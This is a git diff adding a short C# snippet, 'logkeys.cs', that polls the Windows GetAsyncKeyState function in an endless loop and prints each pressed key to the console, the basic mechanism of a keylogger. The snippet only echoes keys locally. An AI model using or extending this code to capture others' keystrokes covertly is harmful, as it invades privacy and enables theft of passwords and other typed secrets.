diff --git a/csharp snippets/logkeys.cs b/csharp snippets/logkeys.cs new file mode 100644 index 0000000..82705e4 --- /dev/null +++ b/csharp snippets/logkeys.cs @@ -0,0 +1,21 @@ +[DllImport("user32.dll")] +public static extern int GetAsyncKeyState(Int32 i); + +static void Main(string[] args) +{ + while (true) + { + Thread.Sleep(100); + + for (int i = 0; i < 255; i++) + { + int keyState = GetAsyncKeyState(i); + // 32769 should be used for windows 10. + if (keyState == 1 || keyState == -32767 || keyState == 32769) + { + Console.WriteLine((char)i); + break; + } + } + } +}